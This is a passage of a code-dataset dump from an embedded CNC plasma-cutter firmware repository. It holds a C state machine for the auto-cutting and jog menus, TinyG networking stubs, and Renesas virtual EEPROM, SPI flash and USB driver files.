SENSOR\\nOHMICO\\n\");\n\t\t\t\tTORCH = FALSE;\n\t\t\t//\tisCuttingSet(false);\n\t\t\t\tstatePrevious = MATERIAL_FAILED;\n\t\t\t\tarco = ARCO_OK_FAILED;\n\t\t\t\tlstop = false;\n\t\t\t\twarm_stop(0);\n\t\t\t\tstate = 0;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase ARCO_OK_FAILED:\n\t\t\tif(!sim){\n\t\t\t\tupdatePosition(AUTO);\n\t\t\t\tgTitle = AUTO;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tupdatePosition(SIM);\n\t\t\t\tgTitle = SIM;\n\t\t\t}\n\t\t\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\tbreak;\n\t\tcase ARCO_OK_INIT_FAILED:\n\t\t\tif(!arco)\n\t\t\t{\n\t\t\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t\tut_lcd_output_warning(\"PLASMA NÃO\\nTRANSFERIDO\\n\");\n\t\t\t\tTORCH = FALSE;\n\t\t\t\tpl_arcook_stop();\n\t\t\t//\tisCuttingSet(false);\n\t\t\t\tarco = ARCO_OK_FAILED;\n\t\t\t\tlstop = false;\n\t\t\t\twarm_stop(0);\n\t\t\t\tltorchBuffer = TRUE;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase EMERGENCIA_SIGNAL:\n\t\t\tif (!programEnd)\n\t\t\t{\n\t\t\t\tstatePrevious = EMERGENCIA_SIGNAL;\n\t\t\t//\twarm_stop(0);\n\t\t\t\tif(!sim){\n\t\t\t\t\tupdatePosition(AUTO);\n\t\t\t\t\tgTitle = AUTO;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tupdatePosition(SIM);\n\t\t\t\t\tgTitle = SIM;\n\t\t\t\t}\n\t\t\t\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tut_lcd_output_warning(\"CORTE AUTOMÁTICO\\nFINALIZADO\\nPRESSIONE ESC\\n\");\n\t\t\t}\n\t\t\tbreak;\n\n\t\tdefault: break;\n\t\t}\n\n\n\n\t\t/* Update position */\n\t//\tupdatePosition(NULL);\n\t}\n\n\treturn STATE_MAIN_MENU;\n}\n\nut_state ut_state_deslocaZero_mode(ut_context* pContext)\n{\n\tuint32_t keyEntry;\n//\tstepper_init();\n\trestart_stepper();\n\tcm_request_queue_flush();\n\t/* Clear display */\n\tupdatePosition(DESLOCA);\n\tgTitle = DESLOCA;\n\tstrcpy(gStrDesloca[0],DEFAULT_DESCOLA_TITLE);\n\tstrcpy(gStrDesloca[1],DEFAULT_AVISO_DESLOCA);\n\tiif_bind_deslocar();\n\tif(swTimers[AUTO_MENU_TIMER] == NULL)\n\t{\n\tswTimers[AUTO_MENU_TIMER] = xTimerCreate\n\t\t\t\t ( /* Just a text name, not used by the RTOS kernel. */\n\t\t\t\t\t \"Timer Update\",\n\t\t\t\t\t /* The timer period in ticks, must be greater than 0. */\n\t\t\t\t\t ( 200 ),\n\t\t\t\t\t /* The timers will auto-reload themselves when they\n\t\t\t\t\t expire. */\n\t\t\t\t\t pdTRUE,\n\t\t\t\t\t /* Assign each timer a unique id equal to its array\n\t\t\t\t\t index. */\n\t\t\t\t\t ( void * ) AUTO_MENU_TIMER,\n\t\t\t\t\t /* Each timer calls the same callback when it expires. */\n\t\t\t\t\t vTimerUpdateCallback\n\t\t\t\t );\n\t}\n\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\txTaskNotifyGive(xCncTaskHandle);\n\tlstop = false;\n\twhile(true)\n\t{\n\t\t/* Wait for user interaction */\n\t\tkeyEntry = 0;\n\t\txQueueReceive( qKeyboard, &keyEntry, DEFAULT_UPDATE_TIMEOUT);\n\n\t\t/* Check which key */\n\t\tswitch (keyEntry)\n\t\t{\n\t\tcase KEY_DOWN:\n\t\t\tiif_func_down();\n\t\t\tbreak;\n\n\t\tcase KEY_UP:\n\t\t\tiif_func_up();\n\t\t\tbreak;\n\n\t\tcase KEY_RIGHT:\n\t\t\tiif_func_right();\n\t\t\tbreak;\n\n\t\tcase KEY_LEFT:\n\t\t\tiif_func_left();\n\t\t\tbreak;\n\n\t\tcase KEY_Z_UP:\n\t\t\tiif_func_zup();\n\t\t\tbreak;\n\n\n\t\tcase KEY_Z_DOWN:\n\t\t\tiif_func_zdown();\n\t\t\tbreak;\n\t\tcase KEY_ENTER:\n\t\t\t\tif(lstop)\n\t\t\t\t{\n\t\t\t\t\tlstop = false;\n\t\t\t\t\tiif_bind_filerunning_stop(lstop);\n\t\t\t\t\tstrcpy(gStrDesloca[0],DEFAULT_DESCOLA_TITLE);\n\t\t\t\t\tstrcpy(gStrDesloca[1],DEFAULT_AVISO_DESLOCA);\n//\t\t\t\t\tif(isDwell == true)\n//\t\t\t\t\t{\n//\t\t\t\t\t\tst_command_dwell(DWELL_RESTART);\n//\t\t\t\t\t}\n\t\t\t\t\tcm_request_cycle_start();\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\tcase KEY_ESC:\n//\t\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n//\t\t\tiif_bind_idle();\n//\t\t\tintepreterRunning = false;\n//\t\t\treturn (ut_state)pContext->value[0];\n\t\t\tif (cm.machine_state == MACHINE_PROGRAM_END || lstop){\n\t\t\t\tuint32_t *value = configsVar->value;\n\t\t\t\txTimerStop( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t\tif(cm.machine_state != MACHINE_PROGRAM_END){\n\t\t\t\t\tconfigsVar->type = UT_CONFIG_BOOL;\n\t\t\t\t\tconfigsVar->name = \"DESEJA SAIR?\";\n\t\t\t\t\tut_state_config_var(pContext);\n\t\t\t\t\tif (*value)\n\t\t\t\t\t{\n//\t\t\t\t\t\tif(isDwell == true)\n//\t\t\t\t\t\t{\n//\t\t\t\t\t\t\tst_command_dwell(DWELL_EXIT);\n//\t\t\t\t\t\t}\n\t\t\t\t\t\tcm_request_feedhold();\n\t\t\t\t\t\tcm_request_queue_flush();\n\t\t\t\t\t\tmacro_func_ptr = command_idle;\n\t\t\t\t\t\tintepreterRunning = false;\n\t\t\t\t\t\treturn (ut_state)pContext->value[0];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(cm.machine_state == MACHINE_PROGRAM_END){\n\t\t\t\t\tiif_bind_idle();\n\t\t\t\t\tut_lcd_output_warning(\"COMANDO\\nFINALIZADO\\n\");\n\t\t\t\t\tkeyEntry = 0;\n\t\t\t\t\twhile(keyEntry != KEY_ENTER && keyEntry != KEY_ESC){\n\t\t\t\t\t\txQueueReceive( qKeyboard, &keyEntry, portMAX_DELAY );\n\t\t\t\t\t}\n\t\t\t\t\tmacro_func_ptr = command_idle;\n\t\t\t\t\tintepreterRunning = false;\n\t\t\t\t\treturn (ut_state)pContext->value[0];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(!lstop){\n\t\t\t\tlstop = true;\n\t\t\t\tstrcpy(gStrDesloca[0],STOP_AUTO_TITLE);\n\t\t\t\tstrcpy(gStrDesloca[1],DEFAULT_AVISO_DESLOCA);\n\t\t\t\twarm_stop(0);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase KEY_RELEASED:\n\t\t\tiif_func_released();\n\t\t\tbreak;\n\n\t\tcase EMERGENCIA_SIGNAL:\n\t\t\txTimerStart( swTimers[AUTO_MENU_TIMER], 0 );\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\n\t\t/* Update position */\n\t//\tupdatePosition(NULL);\n\t}\n\n\treturn STATE_MAIN_MENU;\n}\n\nstatic void vTimerUpdateCallback( TimerHandle_t pxTimer )\n{\n\tif(gTitle == AUTO || gTitle == SIM){\n\t\tiif_func_esc();\n\t}\n\tupdatePosition(gTitle);\n}\n\nvoid warm_stop(uint8_t flag)\n{\n\n\t//iif_bind_filerunning_stop(lstop);\n\tcm_request_feedhold();\n\tif(gTitle == AUTO){\n\t\tstrcpy(gStrAuto[0],STOP_AUTO_TITLE);\n\t\tstrcpy(gStrAuto[1],STOP_AVISO_AUTO);\n\t}else if(gTitle == SIM){\n\t\tstrcpy(gStrSim[0],STOP_SIM_TITLE);\n\t\tstrcpy(gStrSim[1],STOP_AVISO_SIM);\n\t}\n\tpl_arcook_stop();\n\tif(isDwell == true)\n\t{\n\t\tst_command_dwell(DWELL_PAUSE);\n\t}\n\tif (flag != 2)\n\t{\n\t\twhile(cm.feedhold_requested == true)\n\t\t{\n\t\t\tWDT_FEED\n\t\t}\n\t}\n\tif (flag != 1)\n\t{\n\t\tltorchBuffer = TORCH;\n\t\tTORCH = FALSE;\n\t}\n}\n" }, { "alpha_fraction": 0.7273486256599426, "alphanum_fraction": 0.736952006816864, "avg_line_length": 31.351350784301758, "blob_id": "82f59ffc2c360320feeeccebae9cd878b97dd0f6", "content_id": "781ae2210253c8817fa03a320e1370121712c1fe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2395, "license_type": "no_license", "max_line_length": 91, "num_lines": 74, "path": "/src/cnc/network.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * network.c - tinyg networking protocol\n * Part of TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n/* \tThis module is really nothing mre than a placeholder at this time.\n * \t\"Networking\" refers to a planned RS485 broadcast network to support\n *\tmulti-board configs and external RS485 devices such as extruders.\n *\tBasic operation of RS485 on the TinyG hardware has been verified\n *\tusing what's in this file, but you won;t find much more.\n */\n\n\n#include \"tinyg.h\"\n#include \"network.h\"\n#include \"controller.h\"\n#include \"gpio.h\"\n#include \"hardware.h\"\n#include \"xio.h\"\n\n/*\n * Local Scope Functions and Data\n */\n\n/*\n * network_init()\n */\nvoid network_init()\n{\n\n}\n\nvoid net_forward(unsigned char c)\n{\n\n}\n\n/*\n * net_test_rxtx() - test transmission from master to slave\n * net_test_loopback() - test transmission from master to slave and looping back\n */\n\nuint8_t net_test_rxtx(uint8_t c)\n{\n\n\treturn (c);\n}\n\nuint8_t net_test_loopback(uint8_t c)\n{\n\n\treturn (c);\n}\n\n" }, { "alpha_fraction": 0.5102739930152893, "alphanum_fraction": 0.5222602486610413, "avg_line_length": 49.96825408935547, "blob_id": "6c13fd54a0230b4b23cc9a172e1c617022344bda", "content_id": "819b28c9b5983754b30bc891d05841933d075c28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6424, "license_type": "no_license", "max_line_length": 120, "num_lines": 126, "path": "/r_vee/r_vee_if.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_vee_if.h\n* Description : Interface file Virtual EEPROM implementation using MCU's data flash memory.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 12.07.2011 1.00 First Release\n* : 03.01.2012 1.50 Updated for internal CS and for FIT. Added support for RX63x Groups.\n* : 14.09.2012 1.60 Updated for FIT v0.7 Spec. Fixed bug found when reset occurred after FULL flag was \n* written and before NEXTUP was written. VEE now handles this event.\n* : 03.01.2013 1.70 Added R_VEE_Open() function to initialize or reset VEE. Created r_vee_target.h to replace\n* multiple r_vee_<mcu>.h files that had duplicate information. Updated to be compliant with\n* FIT v1.00 specification. This means that config file is now in 'ref' folder. Tested with\n* RX62G, RX210, and RX63T. Added R_VEE_Control() function.\n***********************************************************************************************************************/\n\n#ifndef VEE_IF_H\n#define VEE_IF_H\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* This includes user configurable items for the VEE project */\n#include \"r_vee_config.h\"\n/* From r_bsp. Gives us MCU information used to configure VEE project. */\n#include \"platform.h\"\n/* Private VEE header file. Used for getting vee_var_*_t typedefs. */\n#include \"r_vee.h\"\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n/* Version Number of API. */\n#define VEE_VERSION_MAJOR (1)\n#define VEE_VERSION_MINOR (70)\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n/* VEE Record Structure */\ntypedef struct\n{\n /* Unique record identifier, cannot be 0xFF! */\n vee_var_data_t ID;\n /* Number of bytes of data for this record */\n vee_var_data_t size;\n /* Valid or error checking field */\n vee_var_data_t check;\n /* Which VEE Block this record is located in. THIS IS FOR VEE USE ONLY - USERS SHOULD NOT MODIFY THIS! */\n vee_var_data_t block;\n /* Pointer to record data */\n uint8_t far * pData; \n} vee_record_t;\n\n/* Commands that can be sent to R_VEE_Control() function. */\ntypedef enum \n{ \n /* This command will reset the VEE even if it is in the middle of an operation. This should only be used when a \n flash error (e.g. data flash access during VEE operation) has occurred and you need to return the VEE to a \n working state. */\n VEE_CMD_RESET\n} vee_command_t;\n\n/* Return values for functions */\ntypedef enum \n{ \n VEE_SUCCESS,\n VEE_FAILURE,\n VEE_BUSY,\n VEE_NO_ROOM,\n VEE_NOT_FOUND,\n VEE_ERROR_FOUND,\n VEE_INVALID_INPUT\n} vee_return_values_t;\n\n/* Defines the possible states of the VEE */\ntypedef enum \n{ \n VEE_READY, \n VEE_READING, \n VEE_WRITING, \n VEE_ERASING,\n VEE_DEFRAG,\n VEE_ERASE_AND_DEFRAG,\n VEE_WRITE_AND_DEFRAG,\n VEE_ERASE_AND_WRITE,\n VEE_OPENING,\n VEE_RESET\n} vee_states_t;\n\n/***********************************************************************************************************************\nExported global functions (to be accessed by other files)\n***********************************************************************************************************************/\nuint8_t R_VEE_Read(vee_record_t * VEE_temp);\nuint8_t R_VEE_Write(vee_record_t * VEE_temp);\nuint8_t R_VEE_Defrag(uint8_t sector);\nuint8_t R_VEE_Erase(uint8_t sector);\nvee_states_t R_VEE_GetState(void);\nuint8_t R_VEE_ReleaseState(void);\nuint8_t R_VEE_GenerateCheck(vee_record_t *record);\nuint8_t R_VEE_Open(void);\nuint8_t R_VEE_Control(vee_command_t command, void * pdata);\n/* If a callback function is used (decided by setting in r_vee_config.h) then make a prototype for it. */\n#ifdef VEE_CALLBACK_FUNCTION\n/* Callback function prototype */\nvoid VEE_CALLBACK_FUNCTION(void);\n#endif\n\n#endif //VEE_IF_H\n\n\n" }, { "alpha_fraction": 0.5957583785057068, "alphanum_fraction": 0.6111825108528137, "avg_line_length": 18.71794891357422, "blob_id": "ab2f7ed9484aa1fbcd2e73ee018018735b682632", "content_id": "f42d6630e83ab911bed82bbcc74173cda14e32f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1556, "license_type": "no_license", "max_line_length": 119, "num_lines": 78, "path": "/r_spi_flash/readme.txt", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "PLEASE REFER TO THE APPLICATION NOTE FOR THIS MIDDLEWARE FOR MORE INFORMATION\n\nr_spi_flash\n===========\n\nDocument Number \n---------------\nSample Code\n\nVersion\n-------\nv1.30\n\nOverview\n--------\nImplements the legacy SPI protocol that is used to read, write, and communicate with a SPI flash. Basic commands are \nsupported.\n\nFeatures\n--------\n* Supports legacy SPI protocol.\n* Takes care of reads and writes for commands.\n* Easy to configure for different chips.\n\nSupported MCUs\n--------------\n* All\n\nBoards Tested On\n----------------\n* RSK+RX62N\n* RSK+RX63N\n* RDKRX62N\n* RDKRX63N\n* RSKRX210\n\nLimitations\n-----------\n* None\n\nPeripherals Used Directly\n-------------------------\n* None\n\nRequired Packages\n-----------------\n* r_rspi_rx\n\nHow to add to your project\n--------------------------\n* Add src\\r_spi_flash.c to your project.\n* Add an include path to the 'r_spi_flash' directory. \n* Add an include path to the 'r_spi_flash\\src' directory.\n* Copy r_spi_flash_config_reference.h from 'ref' directory to your desired location and rename to r_spi_flash_config.h.\n* Configure middleware through r_spi_flash_config.h.\n* Add a #include for r_spi_flash_if.h to any source files that need to use this module.\n\nToolchain(s) Used\n-----------------\n* Renesas RX v1.02\n\nFile Structure\n--------------\nr_spi_flash\n| readme.txt\n| r_spi_flash_if.h\n|\n+---doc\n+---ref\n| r_spi_flash_config_reference.h\n|\n\\---src\n | r_spi_flash.c\n |\n \\---chips\n r_spi_flash_m25p16.h\n r_spi_flash_p5q.h\n r_spi_flash_sst25.h \n\n\n" }, { "alpha_fraction": 0.419829785823822, "alphanum_fraction": 0.42800000309944153, "avg_line_length": 45.812747955322266, "blob_id": "d4e09392f8f74f57b71c6b30c9839b7c03f46bcf", "content_id": "178faea236eae6d46126709874929b94c8db4878", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11750, "license_type": "no_license", "max_line_length": 120, "num_lines": 251, "path": "/r_usb_basic/src/driver/comm/r_usb_cstdapi.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cstdapi.c\n* Description : A USB Host and Peripheral common low level API.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\" /* USB register access function */\n#include \"r_usb_api.h\"\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern usb_err_t usb_cpu_module_start( usb_ip_t ip_type );\nextern usb_err_t usb_cpu_module_stop( usb_ip_t ip_type );\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n\n/******************************************************************************\nRenesas Abstracted common Signal functions\n******************************************************************************/\n\n/*****************************************************************************\n* Function Name: R_USB_GetVersion\n* Description : Returns the version of this module. The version number is \n* encoded such that the top two bytes are the major version\n* number and the bottom two bytes are the minor version number.\n* Arguments : none\n* Return Value : version number\n******************************************************************************/\n#pragma inline(R_USB_GetVersion)\nuint32_t R_USB_GetVersion(void)\n{\n uint32_t version = 0;\n\n version = (USB_VERSION_MAJOR << 16) | USB_VERSION_MINOR;\n\n return version;\n}\n/******************************************************************************\nEnd of function\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_USB_Open\nDescription : Initializes the USB module. It's only called once.\nArguments : usb_ip_t ip_type : USB_IP0/USB_IP1\nReturn value : USB_SUCCESS -\n USB module is initialized successfully\n USB_ERR_OPENED\n USB is opened already\n USB_ERR_BUSY\n Lock has already been acquired by another task\n******************************************************************************/\nusb_err_t R_USB_Open( usb_ip_t ip_type )\n{\n return usb_cpu_module_start( ip_type );\n}\n/******************************************************************************\nEnd of function\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_USB_Close\nDescription : Initializes the USB module. It's only called once.\nArguments : usb_ip_t ip_type : USB_IP0/USB_IP1\nReturn value : USB_SUCCESS -\n USB module is initialized successfully\n USB_ERR_OPENED\n USB is opened already\n USB_ERR_BUSY\n Lock has already been acquired by another task\n******************************************************************************/\nusb_err_t R_USB_Close( usb_ip_t ip_type )\n{\n return usb_cpu_module_stop( ip_type );\n}\n/******************************************************************************\nEnd of function\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_GetUsbIpAdr \nDescription : Return USB register base address of specified USB IP.\nArguments : uint16_t ipno : USB IP No. that requires the base \n address value \nReturn value : USB_REGADR_t : Address value\n******************************************************************************/\nUSB_REGADR_t R_usb_cstd_GetUsbIpAdr( uint16_t ipno )\n{\n return (USB_REGADR_t)usb_cstd_GetUsbIpAdr( ipno );\n}/* eof R_usb_cstd_GetUsbIpAdr */\n \n/******************************************************************************\nFunction Name : R_usb_cstd_UsbIpInit\nDescription : Initialize the USB IP.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t usb_mode : USB mode (Host/Peripheral).\nReturn value : none\n******************************************************************************/\nvoid R_usb_cstd_UsbIpInit( USB_UTR_t *ptr, uint16_t usb_mode )\n{\n usb_cstd_WaitUsbip( ptr ); /* Wait USB-H/W access enable */\n usb_cstd_AsspConfig( ptr ); /* Set ASSP pin_config */\n usb_cstd_InitialClock( ptr ); /* Start clock */\n R_usb_cstd_ClearHwFunction( ptr ); /* nitinalize USB register (Host/Peripheral common) */\n usb_cstd_Pinconfig( ptr ); /* Set pin_config */\n\n usb_cstd_set_usbip_mode( ptr, usb_mode );\n}/* eof R_usb_cstd_UsbIpInit */\n \n/******************************************************************************\nFunction Name : R_usb_cstd_ClearHwFunction\nDescription : Initinalize USB register (Host/Peripheral common)\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid R_usb_cstd_ClearHwFunction(USB_UTR_t *ptr)\n{\n usb_cstd_SelfClock(ptr);\n\n usb_cstd_SetNak(ptr, USB_PIPE0);\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n usb_creg_set_bus_wait( ptr );\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n usb_cstd_ClearIntEnb( ptr );\n\n /* Interrupt Disable(BRDY,NRDY,USB_BEMP) */\n usb_creg_write_brdyenb( ptr, 0 );\n usb_creg_write_nrdyenb( ptr, 0 );\n usb_creg_write_bempenb( ptr, 0 );\n\n /* Interrupt status clear */\n usb_cstd_ClearIntSts( ptr );\n\n /* Interrupt status clear(USB_BRDY,NRDY,USB_BEMP) */\n usb_creg_write_brdysts( ptr, 0 );\n usb_creg_write_nrdysts( ptr, 0 );\n usb_creg_write_bempsts( ptr, 0 );\n\n /* D+/D- control line set */\n usb_cstd_ClearDline( ptr );\n\n usb_creg_clr_hse( ptr, USB_PORT0 );\n usb_creg_clr_hse( ptr, USB_PORT1 );\n\n /* Function controller select */\n usb_creg_clr_dcfm( ptr ); \n usb_cstd_SwReset(ptr);\n\n}/* eof R_usb_cstd_ClearHwFunction */\n\n/******************************************************************************\nFunction Name : R_usb_cstd_SetRegDvstctr0\nDescription : Setting the value(2nd argument) to DVSTCTR0 register\nArguments : USB_UTR_t *ptr ; USB internal structure. Selects USB channel.\n : uint16_t val : setting value\nReturn value : none\n******************************************************************************/\nvoid R_usb_cstd_SetRegDvstctr0( USB_UTR_t *ptr, uint16_t val )\n{\n\n usb_creg_write_dvstctr( ptr, USB_PORT0, val );\n\n}\n/******************************************************************************\nEnd of function R_usb_cstd_SetRegDvstctr0\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_SetRegPipeCtr\nDescription : Setting the value(3rd argument) to PIPExCTR register\nArguments : USB_UTR_t *ptr ; USB internal structure. Selects USB channel.\n : uint16_t pipeno ; Pipe No. \n : uint16_t val ; setting value\nReturn value : none\n******************************************************************************/\nvoid R_usb_cstd_SetRegPipeCtr( USB_UTR_t *ptr, uint16_t pipeno, uint16_t val )\n{\n\n usb_creg_write_pipectr( ptr, pipeno, val );\n\n}\n/******************************************************************************\nEnd of function R_usb_cstd_SetRegPipeCtr\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_SetBuf\nDescription : Set PID (packet ID) of the specified pipe to BUF.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : none\n******************************************************************************/\nvoid R_usb_cstd_SetBuf(USB_UTR_t *ptr, uint16_t pipe)\n{\n usb_cstd_SetBuf(ptr, pipe);\n}\n/******************************************************************************\nEnd of function R_usb_cstd_SetRegPipeCtr\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_debug_hook\nDescription : Debug hook\nArguments : uint16_t error_code : error code\nReturn value : none\n******************************************************************************/\nvoid R_usb_cstd_debug_hook(uint16_t error_code)\n{\n while(1);\n} /* eof R_usb_cstd_debug_hook() */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.49635618925094604, "alphanum_fraction": 0.5121840238571167, "avg_line_length": 37.34497833251953, "blob_id": "974d1200a91d66b697cfeef96f223e1182a0d5c7", "content_id": "f4687fa308d2ce768cbf83369cf5ccb0a31b497e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8783, "license_type": "no_license", "max_line_length": 97, "num_lines": 229, "path": "/r_flash_loader_rx/src/r_fl_downloader.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only \n* intended for use with Renesas products. No other uses are authorized. This \n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE \n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS \n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE \n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH 